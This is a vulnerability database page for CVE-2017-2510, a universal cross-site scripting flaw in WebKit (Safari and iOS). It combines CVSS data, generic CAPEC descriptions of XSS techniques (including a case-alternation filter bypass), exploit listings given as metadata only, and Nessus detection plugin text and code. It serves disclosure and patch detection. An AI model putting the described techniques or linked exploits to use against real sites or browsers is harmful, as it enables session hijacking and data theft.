Vulnerabilities > CVE-2017-2510 - Cross-site Scripting vulnerability in Apple Iphone OS and Safari

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE
network
apple
CWE-79
nessus
exploit available

Summary

An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. Safari before 10.1.1 is affected. The issue involves the "WebKit" component. It allows remote attackers to conduct Universal XSS (UXSS) attacks via a crafted web site that improperly interacts with pageshow events.

Vulnerable Configurations

Part Description Count
Application
Apple
150
OS
Apple
153

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Embedding Scripts in Non-Script Elements
    This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.
  • Embedding Scripts within Scripts
    An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
  • Cross-Site Scripting in Error Pages
    An attacker distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.
  • Cross-Site Scripting Using Alternate Syntax
    The attacker uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the "script" tag using the alternate forms of "Script" or "ScRiPt" may bypass filters where "script" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.

Exploit-Db

descriptionWebKit - enqueuePageshowEvent and enqueuePopstateEvent Universal Cross-Site Scripting. CVE-2017-2510. Webapps exploit for Multiple platform. Tags: Cross-Site...
fileexploits/multiple/webapps/42067.html
idEDB-ID:42067
last seen2017-05-25
modified2017-05-25
platformmultiple
port
published2017-05-25
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42067/
titleWebKit - enqueuePageshowEvent and enqueuePopstateEvent Universal Cross-Site Scripting
typewebapps

Nessus

  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_SAFARI10_1_1.NASL
    descriptionThe version of Apple Safari installed on the remote macOS or Mac OS X host is prior to 10.1.1. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists in the history menu functionality. An unauthenticated, remote attacker can exploit this to cause a denial of service condition. (CVE-2017-2495) - Multiple memory corruption issues exist in the WebKit component due to improper validation of user-supplied input. An unauthenticated, remote attacker can exploit these issues, by convincing a user to visit a specially crafted website, to execute arbitrary code. (CVE-2017-2496, CVE-2017-2505, CVE-2017-2506, CVE-2017-2514, CVE-2017-2515, CVE-2017-2521, CVE-2017-2525, CVE-2017-2526, CVE-2017-2530, CVE-2017-2531, CVE-2017-2538, CVE-2017-2539, CVE-2017-2544, CVE-2017-2547, CVE-2017-6980, CVE-2017-6984) - A memory corruption issue exists in the WebKit Web Inspector component that allows an unauthenticated, remote attacker to execute arbitrary code. (CVE-2017-2499) - An address bar spoofing vulnerability exists due to improper state management. An unauthenticated, remote attacker can exploit this to spoof the address in the address bar. (CVE-2017-2500, CVE-2017-2511) - Multiple universal cross-site scripting (XSS) vulnerabilities exist in WebKit due to improper handling of WebKit Editor commands, container nodes, pageshow events, frame loading, and cached frames. An unauthenticated, remote attacker can exploit this, via a specially crafted web page, to execute arbitrary script code in a user
    last seen2020-06-01
    modified2020-06-02
    plugin id100355
    published2017-05-23
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100355
    titlemacOS : Apple Safari < 10.1.1 Multiple Vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(100355);
      script_version("1.5");
      script_cvs_date("Date: 2019/11/13");
    
      script_cve_id(
        "CVE-2017-2495",
        "CVE-2017-2496",
        "CVE-2017-2499",
        "CVE-2017-2500",
        "CVE-2017-2504",
        "CVE-2017-2505",
        "CVE-2017-2506",
        "CVE-2017-2508",
        "CVE-2017-2510",
        "CVE-2017-2511",
        "CVE-2017-2514",
        "CVE-2017-2515",
        "CVE-2017-2521",
        "CVE-2017-2525",
        "CVE-2017-2526",
        "CVE-2017-2528",
        "CVE-2017-2530",
        "CVE-2017-2531",
        "CVE-2017-2536",
        "CVE-2017-2538",
        "CVE-2017-2539",
        "CVE-2017-2544",
        "CVE-2017-2547",
        "CVE-2017-2549",
        "CVE-2017-6980",
        "CVE-2017-6984"
      );
      script_bugtraq_id(
        98454,
        98455,
        98456,
        98470,
        98473,
        98474
      );
      script_xref(name:"APPLE-SA", value:"APPLE-SA-2017-05-15-7");
    
      script_name(english:"macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities");
      script_summary(english:"Checks the Safari version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web browser installed on the remote macOS or Mac OS X host is
    affected by multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Apple Safari installed on the remote macOS or Mac OS X
    host is prior to 10.1.1. It is, therefore, affected by multiple
    vulnerabilities :
    
      - An unspecified flaw exists in the history menu
        functionality. An unauthenticated, remote attacker can
        exploit this to cause a denial of service condition.
        (CVE-2017-2495)
    
      - Multiple memory corruption issues exist in the WebKit
        component due to improper validation of user-supplied
        input. An unauthenticated, remote attacker can exploit
        these issues, by convincing a user to visit a specially
        crafted website, to execute arbitrary code.
        (CVE-2017-2496, CVE-2017-2505, CVE-2017-2506,
        CVE-2017-2514, CVE-2017-2515, CVE-2017-2521,
        CVE-2017-2525, CVE-2017-2526, CVE-2017-2530,
        CVE-2017-2531, CVE-2017-2538, CVE-2017-2539,
        CVE-2017-2544, CVE-2017-2547, CVE-2017-6980,
        CVE-2017-6984)
    
      - A memory corruption issue exists in the WebKit Web
        Inspector component that allows an unauthenticated,
        remote attacker to execute arbitrary code.
        (CVE-2017-2499)
    
      - An address bar spoofing vulnerability exists due to
        improper state management. An unauthenticated, remote
        attacker can exploit this to spoof the address in the
        address bar. (CVE-2017-2500, CVE-2017-2511)
    
      - Multiple universal cross-site scripting (XSS)
        vulnerabilities exist in WebKit due to improper handling
        of WebKit Editor commands, container nodes, pageshow
        events, frame loading, and cached frames. An
        unauthenticated, remote attacker can exploit this, via a
        specially crafted web page, to execute arbitrary script
        code in a user's browser session. (CVE-2017-2504,
        CVE-2017-2508, CVE-2017-2510, CVE-2017-2528,
        CVE-2017-2549)
    
      - Multiple unspecified flaws exist in WebKit that allow
        an unauthenticated, remote attacker to corrupt memory
        and execute arbitrary code by using specially crafted
        web content. (CVE-2017-2536)");
      script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT207804");
      # https://lists.apple.com/archives/security-announce/2017/May/msg00003.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?7a320df7");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apple Safari version 10.1.1 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-6984");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/05/15");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/05/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/05/23");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apple:safari");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"MacOS X Local Security Checks");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("macosx_Safari31.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/MacOSX/Version", "MacOSX/Safari/Installed");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    os = get_kb_item("Host/MacOSX/Version");
    if (!os) audit(AUDIT_OS_NOT, "Mac OS X or macOS");
    
    if (!ereg(pattern:"Mac OS X 10\.(10|11|12)([^0-9]|$)", string:os)) audit(AUDIT_OS_NOT, "Mac OS X Yosemite 10.10 / Mac OS X El Capitan 10.11 / macOS Sierra 10.12");
    
    installed = get_kb_item_or_exit("MacOSX/Safari/Installed", exit_code:0);
    path      = get_kb_item_or_exit("MacOSX/Safari/Path", exit_code:1);
    version   = get_kb_item_or_exit("MacOSX/Safari/Version", exit_code:1);
    
    fixed_version = "10.1.1";
    
    if (ver_compare(ver:version, fix:fixed_version, strict:FALSE) == -1)
    {
      report = report_items_str(
        report_items:make_array(
          "Path", path,
          "Installed version", version,
          "Fixed version", fixed_version
        ),
        ordered_fields:make_list("Path", "Installed version", "Fixed version")
      );
      security_report_v4(port:0, severity:SECURITY_WARNING, extra:report, xss:true);
    }
    else audit(AUDIT_INST_PATH_NOT_VULN, "Safari", version, path);
    
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-98BC28AE9E.NASL
    descriptionThis update addresses the following vulnerabilities : - [CVE-2017-2496](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2496), [CVE-2017-2539](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2539), [CVE-2017-2510](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2510) Additional fixes : - Fix URL shown in the title of beforeunload dialogs. - Focus first input field of HTTP authentication dialog. - Fix rendering glitches in HiDPI in long GitHub Gist pages when focusing the comments textarea. - Remove Firefox user agent quirk for Google domains. - Remove LATEST_RECORD_VERSION from GnuTLS priority string. - Fix several crashes and rendering issues. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2017-05-30
    plugin id100494
    published2017-05-30
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100494
    titleFedora 25 : webkitgtk4 (2017-98bc28ae9e)
  • NASL familyUbuntu Local Security Checks
    NASL idUBUNTU_USN-3303-1.NASL
    descriptionA large number of security issues were discovered in the WebKitGTK+ Web and JavaScript engines. If a user were tricked into viewing a malicious website, a remote attacker could exploit a variety of issues related to web browser security, including cross-site scripting attacks, denial of service attacks, and arbitrary code execution. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id100548
    published2017-05-31
    reporterUbuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100548
    titleUbuntu 16.04 LTS / 16.10 / 17.04 : webkit2gtk vulnerabilities (USN-3303-1)
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201706-15.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201706-15 (WebKitGTK+: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in WebKitGTK+. Please review the CVE identifiers referenced below for details. Impact : A remote attack can use multiple vectors to execute arbitrary code or cause a denial of service condition. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id100675
    published2017-06-08
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100675
    titleGLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-9E83B902F9.NASL
    descriptionThis update addresses the following vulnerabilities : - [CVE-2017-2496](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2496), [CVE-2017-2539](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2539), [CVE-2017-2510](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2510) Additional fixes : - Fix URL shown in the title of beforeunload dialogs. - Focus first input field of HTTP authentication dialog. - Fix rendering glitches in HiDPI in long GitHub Gist pages when focusing the comments textarea. - Remove Firefox user agent quirk for Google domains. - Remove LATEST_RECORD_VERSION from GnuTLS priority string. - Fix several crashes and rendering issues. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2017-07-17
    plugin id101689
    published2017-07-17
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/101689
    titleFedora 26 : webkitgtk4 (2017-9e83b902f9)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2018-0219-1.NASL
    descriptionThis update for webkit2gtk3 fixes the following issues: Update to version 2.18.5 : + Disable SharedArrayBuffers from Web API. + Reduce the precision of
    last seen2020-06-01
    modified2020-06-02
    plugin id106370
    published2018-01-26
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/106370
    titleSUSE SLED12 / SLES12 Security Update : webkit2gtk3 (SUSE-SU-2018:0219-1) (Meltdown) (Spectre)
  • NASL familySuSE Local Security Checks
    NASL idSUSE_SU-2017-2933-1.NASL
    descriptionThis update for webkit2gtk3 to version 2.18.0 fixes the following issues: These security issues were fixed : - CVE-2017-7039: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7018: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7030: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7037: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7034: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7055: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7056: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7064: An issue was fixed that allowed remote attackers to bypass intended memory-read restrictions via a crafted app (bsc#1050469). - CVE-2017-7061: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7048: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7046: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-2538: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1045460) - CVE-2017-2496: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website. - CVE-2017-2539: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website. - CVE-2017-2510: An issue was fixed that allowed remote attackers to conduct Universal XSS (UXSS) attacks via a crafted website that improperly interacts with pageshow events. - CVE-2017-2365: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website (bsc#1024749) - CVE-2017-2366: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2373: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2363: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website (bsc#1024749) - CVE-2017-2362: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2350: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website (bsc#1024749) - CVE-2017-2350: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website (bsc#1024749) - CVE-2017-2354: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749). - CVE-2017-2355: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access and application crash) via a crafted website (bsc#1024749) - CVE-2017-2356: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2371: An issue was fixed that allowed remote attackers to launch popups via a crafted website (bsc#1024749) - CVE-2017-2364: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website (bsc#1024749) - CVE-2017-2369: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2016-7656: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7635: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7654: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7639: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7645: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7652: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7641: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7632: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7599: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website that used HTTP redirects (bsc#1020950) - CVE-2016-7592: An issue was fixed that allowed remote attackers to obtain sensitive information via crafted JavaScript prompts on a web site (bsc#1020950) - CVE-2016-7589: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7623: An issue was fixed that allowed remote attackers to obtain sensitive information via a blob URL on a website (bsc#1020950) - CVE-2016-7586: An issue was fixed that allowed remote attackers to obtain sensitive information via a crafted website (bsc#1020950) For other non-security fixes please check the changelog. Note that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id104428
    published2017-11-07
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104428
    titleSUSE SLED12 / SLES12 Security Update : webkit2gtk3 (SUSE-SU-2017:2933-1)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2017-1268.NASL
    descriptionThis update for webkit2gtk3 to version 2.18.0 fixes the following issues : These security issues were fixed : - CVE-2017-7039: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7018: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7030: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7037: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7034: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7055: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7056: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7064: An issue was fixed that allowed remote attackers to bypass intended memory-read restrictions via a crafted app (bsc#1050469). - CVE-2017-7061: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7048: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-7046: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1050469). - CVE-2017-2538: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1045460) - CVE-2017-2496: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website. - CVE-2017-2539: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website. - CVE-2017-2510: An issue was fixed that allowed remote attackers to conduct Universal XSS (UXSS) attacks via a crafted website that improperly interacts with pageshow events. - CVE-2017-2365: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site (bsc#1024749) - CVE-2017-2366: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2373: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2363: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site (bsc#1024749) - CVE-2017-2362: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2350: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site (bsc#1024749) - CVE-2017-2350: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted website (bsc#1024749) - CVE-2017-2354: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749). - CVE-2017-2355: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access and application crash) via a crafted website (bsc#1024749) - CVE-2017-2356: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2017-2371: An issue was fixed that allowed remote attackers to launch popups via a crafted website (bsc#1024749) - CVE-2017-2364: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site (bsc#1024749) - CVE-2017-2369: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1024749) - CVE-2016-7656: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7635: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7654: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7639: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7645: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7652: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7641: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7632: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7599: An issue was fixed that allowed remote attackers to bypass the Same Origin Policy and obtain sensitive information via a crafted web site that used HTTP redirects (bsc#1020950) - CVE-2016-7592: An issue was fixed that allowed remote attackers to obtain sensitive information via crafted JavaScript prompts on a website (bsc#1020950) - CVE-2016-7589: An issue was fixed that allowed remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted website (bsc#1020950) - CVE-2016-7623: An issue was fixed that allowed remote attackers to obtain sensitive information via a blob URL on a website (bsc#1020950) - CVE-2016-7586: An issue was fixed that allowed remote attackers to obtain sensitive information via a crafted website (bsc#1020950) For other non-security fixes please check the changelog. This update was imported from the SUSE:SLE-12-SP2:Update update project.
    last seen2020-06-05
    modified2017-11-13
    plugin id104526
    published2017-11-13
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104526
    titleopenSUSE Security Update : webkit2gtk3 (openSUSE-2017-1268)
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2017-D39099EA6A.NASL
    descriptionThis update addresses the following vulnerabilities : - [CVE-2017-2496](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2496), [CVE-2017-2539](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2539), [CVE-2017-2510](https://cve.mitre.org/cgi-bin/cvename.cg i?name=CVE-2017-2510) Additional fixes : - Fix URL shown in the title of beforeunload dialogs. - Focus first input field of HTTP authentication dialog. - Fix rendering glitches in HiDPI in long GitHub Gist pages when focusing the comments textarea. - Remove Firefox user agent quirk for Google domains. - Remove LATEST_RECORD_VERSION from GnuTLS priority string. - Fix several crashes and rendering issues. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2017-06-16
    plugin id100826
    published2017-06-16
    reporterThis script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/100826
    titleFedora 24 : webkitgtk4 (2017-d39099ea6a)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2018-118.NASL
    descriptionThis update for webkit2gtk3 fixes the following issues : Update to version 2.18.5 : + Disable SharedArrayBuffers from Web API. + Reduce the precision of
    last seen2020-06-05
    modified2018-02-01
    plugin id106549
    published2018-02-01
    reporterThis script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/106549
    titleopenSUSE Security Update : webkit2gtk3 (openSUSE-2018-118) (Meltdown) (Spectre)

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/142666/GS20170526052320.txt
idPACKETSTORM:142666
last seen2017-05-26
published2017-05-25
reporterGoogle Security Research
sourcehttps://packetstormsecurity.com/files/142666/WebKit-enqueuePageshowEvent-enqueuePopstateEvent-Universal-XSS.html
titleWebKit enqueuePageshowEvent / enqueuePopstateEvent Universal XSS

Seebug

bulletinFamilyexploit
